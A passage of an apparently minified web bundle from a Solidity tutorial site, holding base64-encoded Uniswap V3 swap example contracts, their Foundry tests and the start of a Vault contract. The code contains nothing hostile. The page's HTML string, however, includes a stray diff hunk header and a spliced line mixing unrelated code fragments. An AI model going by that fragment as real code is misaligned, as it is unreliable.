QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYzTXVsdGlIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IEFNT1VOVF9PVVQgPSAyMCAqIDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTUFYX0FNT1VOVF9JTiA9IDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHN3YXAgPSBuZXcgVW5pc3dhcFYzTXVsdGlIb3BTd2FwKCk7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiBBTU9VTlRfSU4gKyBNQVhfQU1PVU5UX0lOfSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHN3YXApLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zd2FwRXhhY3RJbnB1dE11bHRpSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0TXVsdGlIb3AoQU1PVU5UX0lOLCAxKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhc3NlcnRHdChkMSwgMCwgIkRBSSBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgdzAgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQwID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzd2FwLnN3YXBFeGFjdE91dHB1dE11bHRpSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SingleHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7Cgpjb250cmFjdCBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHsKICAgIElTd2FwUm91dGVyMDIgcHJpdmF0ZSBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dFNpbmdsZUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIElTd2FwUm91dGVyMDIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RPdXRwdXRTaW5nbGVIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdE91dHB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRPdXQ6IGFtb3VudE91dCwKICAgICAgICAgICAgYW1vdW50SW5NYXhpbXVtOiBhbW91bnRJbk1heCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHJvdXRlci5leGFjdE91dHB1dFNpbmdsZShwYXJhbXMpOwoKICAgICAgICBpZiAoYW1vdW50SW4gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCAwKTsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJU3dhcFJvdXRlcjAyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW47CiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW5pbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW5NYXhpbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXRTaW5nbGUoRXhhY3RPdXRwdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SingleHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1NpbmdsZUhvcFN3YXAuc29sIjsKCmNvbnRyYWN0IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXBUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFNXQVBfUk9VVEVSXzAyID0KICAgICAgICAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dFVEhfUE9PTF8zMDAwID0KICAgICAgICAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMWUxODsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjb25zdGFudCBBTU9VTlRfT1VUID0gNTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IE1BWF9BTU9VTlRfSU4gPSAxZTE4OwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICBzd2FwID0gbmV3IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXAoKTsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IEFNT1VOVF9JTiArIE1BWF9BTU9VTlRfSU59KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Moc3dhcCksIHR5cGUodWludDI1NikubWF4KTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdElucHV0U2luZ2xlSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0U2luZ2xlSG9wKEFNT1VOVF9JTiwgMSk7CiAgICAgICAgdWludDI1NiBkMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgYXNzZXJ0R3QoZDEsIDAsICJEQUkgYmFsYW5jZSA9IDAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdE91dHB1dFNpbmdsZUhvcCgpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB3MCA9IHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgZDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHN3YXAuc3dhcEV4YWN0T3V0cHV0U2luZ2xlSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM1N3YXBFeGFtcGxlcyB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcigweEU1OTI0MjdBMEFFY2U5MkRlM0VkZWUxRjE4RTAxNTdDMDU4NjE1NjQpOwoKICAgIGZ1bmN0aW9uIHN3YXBFeGFjdElucHV0U2luZ2xlSG9wKGFkZHJlc3MgdG9rZW5JbiwgYWRkcmVzcyB0b2tlbk91dCwgdWludDI0IHBvb2xGZWUsIHVpbnQyNTYgYW1vdW50SW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuSW4sCiAgICAgICAgICAgIHRva2VuT3V0OiB0b2tlbk91dCwKICAgICAgICAgICAgZmVlOiBwb29sRmVlLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGRlYWRsaW5lOiBibG9jay50aW1lc3RhbXAsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogMCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKGJ5dGVzIGNhbGxkYXRhIHBhdGgsIGFkZHJlc3MgdG9rZW5JbiwgdWludDI1NiBhbW91bnRJbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KQogICAgewogICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIElFUkMyMCh0b2tlbkluKS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zKHsKICAgICAgICAgICAgcGF0aDogcGF0aCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAKICAgICAgICB9KTsKICAgICAgICBhbW91bnRPdXQgPSByb3V0ZXIuZXhhY3RJbnB1dChwYXJhbXMpOwogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2OwogICAgfQoKICAgIC8vLyBAbm90aWNlIFN3YXBzIGFtb3VudEluIG9mIG9uZSB0b2tlbiBmb3IgYXMgbXVjaCBhcyBwb3NzaWJsZSBvZiBhbm90aGVyIHRva2VuCiAgICAvLy8gQHBhcmFtIHBhcmFtcyBUaGUgcGFyYW1ldGVycyBuZWNlc3NhcnkgZm9yIHRoZSBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0SW5wdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICAvLy8gQG5vdGljZSBTd2FwcyBhbW91bnRJbiBvZiBvbmUgdG9rZW4gZm9yIGFzIG11Y2ggYXMgcG9zc2libGUgb2YgYW5vdGhlciBhbG9uZyB0aGUgc3BlY2lmaWVkIHBhdGgKICAgIC8vLyBAcGFyYW0gcGFyYW1zIFRoZSBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSBmb3IgdGhlIG11bHRpLWhvcCBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dChFeGFjdElucHV0UGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1N3YXBFeGFtcGxlcy5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwoKY29udHJhY3QgVW5pVjNTd2FwVGVzdCBpcyBUZXN0IHsKICAgIElXRVRIIHByaXZhdGUgd2V0aCA9IElXRVRIKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgZGFpID0gSUVSQzIwKERBSSk7CiAgICBJRVJDMjAgcHJpdmF0ZSB1c2RjID0gSUVSQzIwKFVTREMpOwoKICAgIFVuaXN3YXBWM1N3YXBFeGFtcGxlcyBwcml2YXRlIHVuaSA9IG5ldyBVbmlzd2FwVjNTd2FwRXhhbXBsZXMoKTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7fQoKICAgIGZ1bmN0aW9uIHRlc3RTaW5nbGVIb3AoKSBwdWJsaWMgewogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogMWUxOH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRTaW5nbGVIb3AoV0VUSCwgREFJLCAzMDAwLCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RNdWx0aUhvcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDFlMTgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9IGFiaS5lbmNvZGVQYWNrZWQoV0VUSCwgdWludDI0KDMwMDApLCBVU0RDLCB1aW50MjQoMTAwKSwgREFJKTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRNdWx0aUhvcChwYXRoLCBXRVRILCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQp9Cg=="}],Zb=`
                    Uniswap V3 Single Hop Swap
                    
 
                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6940,7 +6940,7 @@ IERC20 constant PAIR address(swap)), 0, "DAI balance of swap != 0");
     }
 }
-
                    `,Wb=({prev:s,next:a})=>r.jsx(u,{version:mb,title:bb,description:wb,html:Zb,prev:s,next:a,codes:kb}),Bb="0.8.24",Gb="Vault",Vb="Vault",fb=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhdWx0IHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW190b10gKz0gX3NoYXJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI